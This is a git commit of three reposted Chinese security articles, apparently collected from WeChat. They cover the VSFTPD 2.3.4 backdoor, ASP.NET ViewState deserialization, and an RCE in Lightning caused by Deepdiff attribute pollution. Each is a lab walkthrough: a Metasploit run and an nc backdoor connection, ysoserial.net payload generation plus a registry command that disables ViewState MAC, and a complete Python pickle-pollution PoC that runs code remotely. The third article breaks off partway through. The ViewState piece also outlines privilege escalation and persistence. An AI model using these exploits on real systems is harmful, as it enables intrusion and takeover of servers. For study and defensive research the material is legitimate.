VSFTPD 2.3.4 笑脸漏洞、某系统因属性污染导致的RCE漏洞分析、ViewState反序列化复现踩坑记录、

This commit is contained in:
test 2024-11-17 00:55:31 +00:00
parent 13a2da2aa7
commit 766bb25c25
4 changed files with 812 additions and 1 deletions

View File

@ -63,5 +63,8 @@
"https://mp.weixin.qq.com/s?__biz=Mzk0MzI2NzQ5MA==&mid=2247486636&idx=1&sn=5d9cfbe6b8393b15c60b04ca9c2c9588": "phpstudy_2016-2018_rce 漏洞复现",
"https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487499&idx=4&sn=69d6613ba3812956a0388203252d7a8f": "【漏洞预警】易思智能物流无人值守系统SQL注入",
"https://mp.weixin.qq.com/s?__biz=MzkxNzUxMjU5OQ==&mid=2247484847&idx=1&sn=ab525f7b54b1842379879fcb44279dfe": "记录日常挖掘漏洞",
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066024&idx=4&sn=46592438737abae8701b9ba1b7160d86": "【安全圈】俄罗斯黑客利用文件拖放、删除操作触发 Windows 0day 漏洞攻击乌克兰目标"
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066024&idx=4&sn=46592438737abae8701b9ba1b7160d86": "【安全圈】俄罗斯黑客利用文件拖放、删除操作触发 Windows 0day 漏洞攻击乌克兰目标",
"https://mp.weixin.qq.com/s?__biz=Mzk0MzI2NzQ5MA==&mid=2247486684&idx=1&sn=b88c209774a7a72edb5ffd3d8185da12": "VSFTPD 2.3.4 笑脸漏洞",
"https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650603615&idx=3&sn=445a8a9089db3200dfb6c7fcbbe83e1b": "某系统因属性污染导致的RCE漏洞分析",
"https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247486126&idx=1&sn=f95aeac1e9863e39388748be5f93f44f": "ViewState反序列化复现踩坑记录"
}

View File

@ -0,0 +1,43 @@
# VSFTPD 2.3.4 笑脸漏洞
Sword 网络安全学习爱好者 2024-11-17 00:39
# 环境搭建
**压缩包需要下载特定版本,官方提供的安装包没有这个漏洞**
1.靶机环境是centos7  ,首先解压缩包,并上传到靶机目录
 tar -zxvf   压缩包名称
2.进入vsftpd目录赋予文件权限之后进行make &&make install
cd /vsftpd-2.3.4
chmod 777 *
make &&make install
# 漏洞利用
## code:1
使用msf利用
```
use exploit/unix/ftp/vsftpd_234_backdoor
set RhoSTS 192.168.142.145
exploit
```
```
```
## code:2
手动利用
打开命令行登录ftp服务器在用户名处输入root:)然后随意输入一个密码回车等待,
![](https://mmbiz.qpic.cn/mmbiz_png/ZAPxzic90CGBb636ckQ1MC08nniczShXsWRTiccOHCknXedybxxLPusj3PLXFDgPic1UBsd5odXAd3xRNL6KrqF1sQ/640?wx_fmt=png&from=appmsg "")
输入nc 目标ip 6200 即可连接
![](https://mmbiz.qpic.cn/mmbiz_png/ZAPxzic90CGBb636ckQ1MC08nniczShXsWiaE8iaOyAFCwKW2mZdSb9H4eNBXXTl40BhYb2iaS6Ywbib6nH9bf03NPaQ/640?wx_fmt=png&from=appmsg "")

View File

@ -0,0 +1,313 @@
# ViewState反序列化复现踩坑记录
TtTeam 2024-11-16 16:01
<table><tbody><tr><td width="557" valign="top" height="62" style="word-break: break-all;"><section style="margin-bottom: 15px;"><span style="font-size: 14px;"><span style="color: rgb(217, 33, 66);"><strong>声明:</strong></span>该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。</span></section><section><span style="font-size: 14px;">请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。</span></section></td></tr></tbody></table>
现在只对常读和星标的公众号才展示大图推送,建议大家把
潇湘信安
设为星标
”,
否则可能看不到了
某师傅遇到的一个ViewState反序列化提权遇到些问题看到他在群里和其他几个师傅在交流就去问了下啥情况然后我
@尧
哥就给我分享了他的这篇笔记,哈哈,感谢分享!!!
图片是我后边本地测试后补的,也记录了遇到的一些坑,大家可作为了解学习之用,仅供参考!!!
**0x00 背景**
在ASP.NET应用程序中ViewState
是一种用于存储页面状态的机制常被用于存储用户表单数据、控件状态等信息。然而ViewState
中的信息经过序列化后保存在页面上如果开发者没有对其进行签名或加密那么攻击者可以通过修改ViewState
数据来执行恶意代码,甚至提权。
**0x01 环境搭建**
我们先搭建一个简单的ViewState
反序列化漏洞测试环境在测试机上安装好IIS并选择.NET
相关选项使其支持.NET脚本源码用的网上师傅公开的copy到web目录下即可。
**hello.aspx**
```
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
Text="GO" class="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
```
**hello.aspx.cs**
```
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEbtHiaicJvOMne1duibJnbWmYV62lIwR7J7n1cZ0WggfHtpsUZXH8pNs4g/640?wx_fmt=png&from=appmsg "")
然后再禁用下ViewStateMac
可通过以下3种方式来禁用不同.NET
版本的禁用方式不太一样,这里我只是简单记录下,方便复现测试就行。
```
web.config文件中的enableViewStateMac.NET≤4.5
<pages enableViewStateMac="false" />
web.config文件添加一个appSettings配置项NET≥.4.5.2:
<appSettings><add key="aspnet:AllowInsecureDeserialization" value="true" /></appSettings>
注册表禁用ViewStateMac0:禁用1:启用)(.NET≥.4.5.2:
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" /v AspNetEnforceViewStateMac /t REG_DWORD /d 0 /f
需在数据包中删除VIEWSTATEENCRYPTED场景
enableViewStateMac=falseviewStateEncryptionMode=Always
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEOWKAEqMCkS5fIlRPuCPEecpsspBicXjw02GZUnDicSAH8KIKZUN62cvQ/640?wx_fmt=png&from=appmsg "")
**0x02 攻击准备**
**获取目标网站的ViewState信息**
访问目标网站的一个页面打开浏览器的开发者工具查找HTML源代码中的ViewState
字段。通常该字段以<input type="hidden" name="__VIEWSTATE" value="...">
的形式存在。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEVfhCGduFreXyzzx1jGBNm1zxarpibSNg8Phb8wyuSlsYTUG7qmKywPQ/640?wx_fmt=png&from=appmsg "")
**ViewState插件安装**
viewstate-editor是一个可查看和编辑ViewState
的BurpSuite插件低版本1.7默认自带该插件新版2021需在Extender
->BApp Store
安装(**注:**安装不了时需上墙安装)。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEdIiaEb05Dv92OVejMNRI2I9d9j3wPCx8eEyF55QWKLEBw4Fk2cXJOlg/640?wx_fmt=png&from=appmsg "")
**ViewState插件使用**
BurpSuite设置好监听并开启抓包访问测试地址
http://192.168.1.110/hello.aspx 
提交数据包然后点击这插件的ViewState
如果是MAC is not enabled
说明ViewStateMac
已禁用。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEcU3rhE8icJAqmO3ib25W4ODlzcO4w7sDm6Krlq2XGU9QAaGqkCHjdLiaA/640?wx_fmt=png&from=appmsg "")
**解码ViewState内容**
ViewState默认是Base64
编码的字符串使用常见的工具BurpSuite的Decoder或Python脚本将其解码得到序列化后的对象内容如配置启用加密后则需要Key才能解。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKE2SDgqbqEHdjRYts9YiaDOBGxHE4HMibLmdlDx0icz6WJm4Al7Eer5EpBw/640?wx_fmt=png&from=appmsg "")
**0x03 攻击过程**
**第一步查找不安全的ViewState配置**
检查ASP.NET应用的web.config
配置文件寻找与ViewState
相关的设置尤其是ViewStateEncryptionMode
属性是否为Auto
或Never
此外如果应用程序未配置MAC签名EnableViewStateMac="false"
那么ViewState是不安全的可以被攻击者篡改。
> Always所有的ViewState数据都会被加密
NeverViewState数据永远不会加密
Auto默认值只有部署在IIS7或更高版本上且应用程序没有配置任何加密密钥时ViewState才会加密
**web.config**
```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Never" enableEventValidation="false" />
<!--<machineKey decryption="AES" decryptionKey="DFE6143111640695FE6398BEFE11EE8C250948A3260E19BE" validation="SHA1" validationKey="55539B16C368A79B8DAC4994F6F5B627292EBF3AC940543215EE612EE4FCE1DDB07A2F25144016043D5BE349DA5074F5CA2BDF1DF2EE6BE0E475D2BED6DCE2E3" />-->
</system.web>
<!--<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>-->
</configuration>
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEpdId3Bh9RBibgDbreFg7JbZunZib7LXsQ1uu5vmEA0ic4vNT43JurmiavA/640?wx_fmt=png&from=appmsg "")
利用BurpSuite
或Postman
工具发出修改后的请求观察是否可以通过篡改后的ViewState
提交数据,并成功反序列化执行。
**第二步构造恶意Payload进行反序列化**
**构造恶意对象:**
使用工具如ysoserial.net
或ysoserial
适用于Java的ViewState反序列化攻击来生成恶意的ViewState
载荷,内置恶意命令或脚本。例如:
- https://github.com/pwntester/ysoserial.net
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 123 > C:\ProgramData\2\testing.txt"
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEsfYOIquZsjOibONMqicMovrmt2SHbTSjvsnufENeVRqPu0weEiafn3dEQ/640?wx_fmt=png&from=appmsg "")
**替换ViewState**
将生成的载荷替换原始页面的ViewState
字段然后将整个请求通过HTTP工具发送给服务器。此时如果服务器的ViewState
签名和验证不安全,则会执行恶意对象内的代码。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEwfCdwvDicPBq22kHsZFIP1mIB4ywQ5cKaNOdicW68aggnPX8jjDWmD7Q/640?wx_fmt=png&from=appmsg "")
如果使用生成的恶意ViewState
载荷成功进行反序列化攻击后会在C:\ProgramData\2\
这个目录下创建一个testing.txt
文本文件其内容为123
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEKFj0QKcqADTwSZ7hibvLcLZHHgHko9IIDh8FVKXQP6JAXlU5F8S5Pkw/640?wx_fmt=png&from=appmsg "")
**第三步:利用提权**
**提升权限:**
由于ASP.NET应用通常运行在NETWORK SERVICE
账户下攻击者可以使用反序列化的权限扩展漏洞例如将ViewState
中的对象替换为高权限用户的token
)来尝试执行系统命令,访问敏感文件,或直接获得应用程序的管理权限。
这里推荐下
@Rcoil师傅的SharpViewStateKing
利用工具已将ViewState
反序列化的多种场景实现自动化,并且完成了命令执行、文件管理以及.NET内存执行等常用功能我们可以使用Load Assembly
加载.NET
土豆提升权限。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOcgCmjt82D0Vsksic8TnUUKEUCWmp8ia0JbNcrLwkpanKIh5GEwQoycAR6wkTpeXh0jJnvDMxiaaYOkw/640?wx_fmt=png&from=appmsg "")
**持久化攻击:**
一旦获得更高权限的shell
我们就可以进一步在服务器上创建后门账户设置持久的shell
或利用工具进行内网横向移动等。
**0x04 防御措施**
**强制启用ViewState签名和加密**
在web.config
文件中确保ViewStateEncryptionMode
设置为Always
并将EnableViewStateMac
设置为true
,这些措施可以阻止未授权的篡改和反序列化攻击。
**使用ASP.NET验证密钥**
设置一个强大的验证密钥validationKey
并确保machineKey
配置在Web服务器之间共享以防止篡改。
**限制反序列化的对象:**
尽量避免将敏感对象存储在ViewState
中,并在应用程序中禁用反序列化不受信任的对象。
**web.config示例代码**
以下代码展示了ViewState
配置文件中的一些安全设置。
```
<system.web>
<pages enableViewState="true" viewStateEncryptionMode="Always" enableEventValidation="true" />
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" />
</system.web>
```
**0x05 踩坑记录**
记录下我在本地测试遇到的坑看了很多文章都是将文件写到C:\Windows\temp
临时目录下但我在测试时就死活写不进去这里坑了我很久原以为是环境有问题测试了几台机器都这样使用原应用池和新建应用池以及修改为SYSTEM
权限还是写不进去......SharpViewStateKing
倒是可以正常连接,不知道大家有没有遇到过这个问题,还是遇到了没人记录这个问题......。
最后我是使用ysoserial.net
重新生成了一个不带==
的载荷换了C:\ProgramData\2
目录才写进去,这里测试只要带=
也写不进去。这个问题实在没辙放弃挣扎了(不在一个点上浪费太多时间),大家如果遇到以下两种情况时可参考着解决吧,不行别喷我...0.0...
> 当前用户或目录权限问题导致C:\Windows\Temp写不进文件可尝试更好其他可读写目录ysoserial.net生成的base64反序列化载荷存在==时写不进去,可尝试修改写入字符或路径;

View File

@ -0,0 +1,452 @@
# 某系统因属性污染导致的RCE漏洞分析
黑白之道 2024-11-17 00:38
![](https://mmbiz.qpic.cn/mmbiz_gif/3xxicXNlTXLicwgPqvK8QgwnCr09iaSllrsXJLMkThiaHibEntZKkJiaicEd4ibWQxyn3gtAWbyGqtHVb0qqsHFC9jW3oQ/640?wx_fmt=gif "")
前几天在逛huntr的时候发现一个很有意思的漏洞他是通过反序列化从而去污染类和属性导致的rce在作者的描述中大致说明的漏洞的原理该漏洞是通过绕过`Deepdiff `的反序列化限制包括绕过魔术方法和白名单绕过通过魔术方法可以访问其他模块、类和实例并使用这种任意属性写入最终导致rce。
## 1、漏洞介绍
前几天在逛huntr的时候发现一个很有意思的漏洞他是通过反序列化从而去污染类和属性导致的rce在作者的描述中大致说明的漏洞的原理该漏洞是通过绕过Deepdiff的反序列化限制包括绕过魔术方法和白名单绕过通过魔术方法可以访问其他模块、类和实例并使用这种任意属性写入最终导致rce。
> 原文链接https://huntr.com/bounties/486add92-275e-4a7b-92f9-42d84bc759da
这里我将原版的poc稍加进行改造将Helper class转换后的内容直接写了出来方便分析。
```
import requests, time, pickle, pickletools
from collections import namedtuple
from ordered_set import OrderedSet
def send_delta(d):
requests.post(server_host + '/api/v1/delta', headers={
'x-lightning-type': '1',
'x-lightning-session-uuid': '1',
'x-lightning-session-id': '1'
}, json={"delta": d})
# Monkey patch OrderedSet reduce to make it easier to pickle
OrderedSet.__reduce__ = lambda self, *args: (OrderedSet, ())
server_host = 'http://127.0.0.1:7501'
command = 'dir'
# this code is injected and ran on the remote host
injected_code = f"__import__('os').system('calc.exe')" + '''import lightning, sysfrom lightning.app.api.request_types import _DeltaRequest, _APIRequestlightning.app.core.app._DeltaRequest = _DeltaRequestfrom lightning.app.structures.dict import Dictlightning.app.structures.Dict = Dictfrom lightning.app.core.flow import LightningFlowlightning.app.core.LightningFlow = LightningFlowLightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}lightning.app.utilities.commands.base._APIRequest = _APIRequestdel sys.modules['lightning.app.utilities.types']'''
bypass_isinstance = OrderedSet
delta = {
'attribute_added': {
"root['function']": namedtuple,
# 绕过_collect_deltas_from_ui_and_work_queues中的isinstance(delta, _DeltaRequest)
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.app._DeltaRequest": str,
# 绕过_process_requests中的isinstance(request, _APIRequest)
"root['bypass_isinstance']": bypass_isinstance,
# 将OrderedSet的__instancecheck__设置有内容使其返回true但不可为可迭代的否则isinstance会报错
"root['bypass_isinstance'].'__instancecheck__'": str,
"root['function'].'__globals__'['_sys'].modules['lightning.app'].utilities.commands.base._APIRequest": bypass_isinstance(),
# 绕过get_component_by_name中的isinstance(current, LightningDict),使其能够遍历普通字典
"root['function'].'__globals__'['_sys'].modules['lightning.app'].structures.Dict": dict,
# 绕过get_component_by_name中的if not isinstance(child, ComponentTuple):
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.LightningFlow": bypass_isinstance(),
"root['function'].'__globals__'['_sys'].modules['typing'].Union": list,
# 防止前面程序报错将`provided_state["vars"]`覆盖为空就不会经过for循环
"root['vars']": {},
# or 将`_INTERNAL_STATE_VARS`覆盖为空也不会进入报错对应的if条件语句里。
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS": (),
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.name": "root.__init__.__builtins__.exec",
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.method_name": "__call__",
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.args": (injected_code,),
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.kwargs": {},
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.id": "root"
}
}
payload = pickletools.optimize(pickle.dumps(delta, 1)).decode() \
.replace('__builtin__', 'builtins') \
.replace('unicode', 'str')
# Sends the payload and does all of our attribute pollution
send_delta(payload)
# Small delay to ensure payload was processed
time.sleep(0.2)
send_delta({}) # Code path triggers when this delta is recieved
```
接下来我将结合poc和代码对此漏洞进行分析
## 2、漏洞入口及反序列化点
首先来看触发反序列化的点以及入口
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdyVN5srHr97X8q9zG9ah80zKDYMiajtsxNNHjPTENm2RkrSrlcouIrng/640?wx_fmt=png&from=appmsg "")
当访问/api/v1/delta的接口时从请求体中获取JSON数据并解析为字典类型并取字典中的值delta作为参数实例化Delta最后放入api_app_delta_queue队列中。
在实例化的过程中会判断传入的类型如果传入的字符串类型的则会调用pickle_load进行反序列化
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdM4h0QHqn0QeY5k6hicWDdg0eRibdWcSiafTiaCbrT0y47HhOyDTu55yPhw/640?wx_fmt=png&from=appmsg "")
在反序列化的时候会有一个白名单,需要反序列化的类必须在白名单里,所以一些常规的反序列化漏洞在这里都不能用。
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdUPxFCZB1JG7iaYsMHskficoYwIDcd3YZdAd650UWMBO8CSgJd3DTJGIA/640?wx_fmt=png&from=appmsg "")
## 3、漏洞利用方式
看完了入口和反序列化,主要来看一下漏洞利用方式。
在随后的代码中程序会先从队列中去除delta对象如果有多个的话会被其进行遍历然后进行+操作
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdP044oyuUHxM7vl8IydIQVNzLaFvLEb3uOUy96l12V9GrVm1v9ACB6A/640?wx_fmt=png&from=appmsg "")
在进行+操作时实际上时调用类中的__add__方法在此方法中我们主要看一下self._do_attribute_added()
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdpic9GPZ3f4PYWiaIQSBb4ppXkf5IvTNKg3X1lkkvUGiaOTtmoxnY9AW4Q/640?wx_fmt=png&from=appmsg "")
在self._do_attribute_added()中获取attribute_added中的内容然后之后会根据其内容中的键值对动态的给类添加属性和值
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdiayNJENcjTXt7ia58QrZnruTapOGXo7M1OhicyoIREib3K2qiaMprmfsQzw/640?wx_fmt=png&from=appmsg "")
这里的attribute_added依然是我们传入的字典只不过内容已经是反序列化后的内容
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdJwFwM3ZwvTiclcDEXmb9SB4iazRkjwDnkolYTiaIR22wM1iamC5CjWs7Sw/640?wx_fmt=png&from=appmsg "")
_do_item_added()的关键代码如下
```
def _do_item_added(self, items, sort=True, insert=False):
if sort:
try:
items = sorted(items.items(), key=self._sort_key_for_item_added)
except TypeError:
items = sorted(items.items(), key=cmp_to_key(self._sort_comparison))
else:
items = items.items()
for path, new_value in items:
elem_and_details = self._get_elements_and_details(path)
if elem_and_details:
elements, parent, parent_to_obj_elem, parent_to_obj_action, obj, elem, action = elem_and_details
else:
continue
# Insert is only true for iterables, make sure it is a valid index.
if(insert and elem < len(obj)):
obj.insert(elem, None)
self._set_new_value(parent, parent_to_obj_elem, parent_to_obj_action,
obj, elements, path, elem, action, new_value)
```
在_do_item_added中首先进行排序然后遍历排序后的字典使用self._get_elements_and_details方法通过字典中的键也就是路径解析来定位对象最后通过 _set_new_value() 使用字典的值更新最终的值。由于值以及时我们反序列化后的内容,所以这里的值可以为任何类型,例如对象,字符串,字典等。
这里主要关注的有两点,一是程序如何对路径进行解析的,二是如何动态的给类添加属性
首先来看对路径的解析,下面是获取路径中元素的方法:
```
def _get_elements_and_details(self, path):
try:
elements = _path_to_elements(path) # 解析给定的路径,返回一个元组
if len(elements) > 1:
elements_subset = elements[:-2]
if len(elements_subset) != len(elements):
next_element = elements[-2][0]
next2_element = elements[-1][0]
else:
next_element = None
parent = self.get_nested_obj(obj=self, elements=elements_subset, next_element=next_element)
parent_to_obj_elem, parent_to_obj_action = elements[-2]
obj = self._get_elem_and_compare_to_old_value(
obj=parent, path_for_err_reporting=path, expected_old_value=None,
elem=parent_to_obj_elem, action=parent_to_obj_action, next_element=next2_element)
except Exception as e:
self._raise_or_log(UNABLE_TO_GET_ITEM_MSG.format(path, e))
return None
return elements, parent, parent_to_obj_elem, parent_to_obj_action, obj, elem, action
```
首先通过_path_to_elements(path)解析路径它会解析给定的路径并将路径中的每一部分提取为元素同时确定访问这些元素时应该使用的操作类型 GET  GETATTR。这里的代码比较复杂所以这里举一个例子来了解函数的作用
例如在解析这个路径的时候
```
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.test6"
```
就会返回
```
(('root', 'GETATTR'), ('function', 'GET'), ('__globals__', 'GETATTR'), ('_sys', 'GET'), ('modules', 'GETATTR'), ('lightning.app', 'GET'), ('api', 'GETATTR'), ('request_types', 'GETATTR'), ('_DeltaRequest', 'GETATTR'), ('test6', 'GETATTR'))
```
这里在解析路径的时候其中在将路径和操作写入元组的时候会判断元素是否以__开头的如果是则进入不了if条件里进行elements.append((elem, action))添加操作
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdNYZ5S7hmGbHbpFwyMudibQKN4Afx7iaD0sQ9Iw2jWzOXBCyz4Wh25YHA/640?wx_fmt=png&from=appmsg "")
但这里可以通过引号绕过例如root['function'].'__globals__'['_sys']...而且完全不影响后面的解析因为在之后的literal_eval()方法里会将两边的引号去除。
```
def literal_eval(node_or_string):
""" Evaluate an expression node or a string containing only a Python expression. The string or node provided may only consist of the following Python literal structures: strings, bytes, numbers, tuples, lists, dicts, sets, booleans, and None. Caution: A complex expression can overflow the C stack and cause a crash. """
if isinstance(node_or_string, str):
node_or_string = parse(node_or_string.lstrip(" \t"), mode='eval')
if isinstance(node_or_string, Expression):
node_or_string = node_or_string.body
...
def _convert(node):
if isinstance(node, Constant):
return node.value
...
return _convert(node_or_string)
```
上面是literal_eval部分代码当输入的参数为'__globals__'时由于他是字符串因此首先会调用ast.parse() 将该字符串解析为抽象语法树AST。然后会检查是否是一个 Expression 对象。如果是它会取出 Expression 的主体部分body即一个 Constant 节点表示 __globals__。然后会调用 _convert() 函数来处理这个 Constant 节点。由于节点类型是 Constant并且它的值是合法的 Python 字面量(在这里是字符串 __globals__),函数会直接返回这个值。
所以总的来说,因为它将字符串当作
Python 字面量(直接表示固定值的数据)来解析。在 Python 里带引号的内容是一个字符串字面量literal_eval 会解析这个字面量提取出引号中间的实际内容返回不带引号的值。
在接下来的_get_nested_obj方法中根据前面解析之后的elements 列表例如 GET  GETATTR从当前对象self中逐步提取嵌套对象。由于这里是取倒数第二个之前的所有元素的操作所以这里获取的是目标对象的父对象。
```
def _get_nested_obj(obj, elements, next_element=None):
for (elem, action) in elements:
if action == GET:
obj = obj[elem]
elif action == GETATTR:
obj = getattr(obj, elem)
return obj
```
这里的起始对象是self也就是Delta如果操作是 GET则将对象视为字典并获取 elem 对应的值。如果操作是 GETATTR则调用 getattr() 获取对象的属性。
由于之前我们反序列化的时候将root['function']的值覆盖成了namedtuple在白名单里而namedtuple的属性中又包含__globals__得到了全局变量我们便可以获取到任意的模块方法和变量。
由于上面获取的是父对象在_get_elem_and_compare_to_old_value中在获取到目标对象可看到这个方法和上面获取对象的方法很相似。
```
def _get_elem_and_compare_to_old_value(self, obj, path_for_err_reporting, expected_old_value, elem=None, action=None,
forced_old_value=None, next_element=None):
try:
if action == GET:
current_old_value = obj[elem]
elif action == GETATTR:
current_old_value = getattr(obj, elem)
else:
raise DeltaError(INVALID_ACTION_WHEN_CALLING_GET_ELEM.format(action))
except (KeyError, IndexError, AttributeError, TypeError) as e:
...
return current_old_value
```
以上通过对路径的解析成功获取到了目标对象接下来看看如何动态的给类添加属性具体实现方法在self._set_new_value中
```
def _simple_set_elem_value(self, obj, path_for_err_reporting, elem=None, value=None, action=None):
""" Set the element value directly on an object """
try:
if action == GET:
try:
obj[elem] = value
except IndexError:
if elem == len(obj):
obj.append(value)
else:
self._raise_or_log(ELEM_NOT_FOUND_TO_ADD_MSG.format(elem, path_for_err_reporting))
elif action == GETATTR:
setattr(obj, elem, value)
else:
raise DeltaError(INVALID_ACTION_WHEN_CALLING_SIMPLE_SET_ELEM.format(action))
except (KeyError, IndexError, AttributeError, TypeError) as e:
self._raise_or_log('Failed to set {} due to {}'.format(path_for_err_reporting, e))
```
这里传入的obj已经是获取到的目标对象这里会判断如果 action  GET表示需要通过索引或键访问 obj 来设置值。如果 action  GETATTR表示需要通过setattr方法给对象的属性设置值。
综上所述,我们可以通过对一个字典格式的类型进行序列化后请求/api/v1/delta并发送后端会自动对其进行反序列化并且在之后的操作中会根据字典中的键作为路径进行解析并通过路径找到对应的类并通过setattr方法将传入字典的值给对象的属性设置值。
打过ctf做过ssti类型的题目的人会很快想到如果可以调用某个对象的魔术方法和内置类理论就可以通过调用基类__bases__或者当前函数或方法的全局命名空间__globals__然后就可以调用任意类和方法。通过上面这个方法我们可以动态的修改和添加对象的属性
## 4、各种绕过
### 1绕过isinstance(delta, _DeltaRequest)检测
这里在遍历received_deltas时会有一处判断isinstance(delta, _DeltaRequest)但这里我们要进入的是api_or_command_request_deltas.append(delta)使得api_or_command_request_deltas不为空所以这里要覆盖_DeltaRequest为其他让他判断为假就能进入else语句。
payload:
```
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.app._DeltaRequest": str
```
这样将_DeltaRequest类覆盖为str类在进行isinstance(delta, _DeltaRequest)返回False最后就可以进入_process_requests方法
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdicPZTkjpBtEEuB3zC2iazTBz4fJnWnRylFwBFEopLZ9mevOOXSUdRJMw/640?wx_fmt=png&from=appmsg "")
### 2 绕过isinstance(request, _APIRequest)检测
接下来_process_requests方法中又会判断request是否是_APIRequests或类型的实例这里我们需要要进入_process_api_request(app, request)
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdFYAwQG5Mnb7lTibGyvLK0MrUf8s70cCH52bicOjyDJKmvQ5MvL44JiawQ/640?wx_fmt=png&from=appmsg "")
我们可以将delta对象中添加OrderedSet对象并在OrderedSet中添加__instancecheck__属性为str使得允许对OrderedSet实例的所有isinstance调用返回True
> __instancecheck__ 是 Python 中的特殊方法用于定制 isinstance() 函数的行为。你可以自定义 isinstance() 的逻辑使其在特定条件下返回 True  False甚至可以跳过默认的类型检查逻辑。
payload:
```
bypass_isinstance = OrderedSet
# 绕过_process_requests中的isinstance(request, _APIRequest)
"root['bypass_isinstance']": bypass_isinstance,
# 将OrderedSet的__instancecheck__设置有内容使其返回true但不可为可迭代的否则isinstance会报错因为上一句设置了
"root['bypass_isinstance'].'__instancecheck__'": str,
```
然后将_APIRequests也覆盖为OrderedSet对象就可以通过isinstance验证进入_process_api_request
payload:
```
"root['function'].'__globals__'['_sys'].modules['lightning.app'].utilities.commands.base._APIRequest": bypass_isinstance(),
```
最后在_process_api_request中通过 get_component_by_name(request.name) 并根据request.name的值获取到最终需要执行的类
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdq8Kv8FgAhgib1aVSodvtv7GdWXVEO4whQpFrz1z9THUib89oK9yjP1jg/640?wx_fmt=png&from=appmsg "")
### 3绕过isinstance(child, ComponentTuple):检测
在get_component_by_name中会对传入的路径进行解析用.分割然后使用for循环逐层获取嵌套属性然后返回最终嵌套的类对象
```
def get_component_by_name(self, component_name: str) -> Union["LightningFlow", LightningWork]:
"""Returns the instance corresponding to the given component name."""
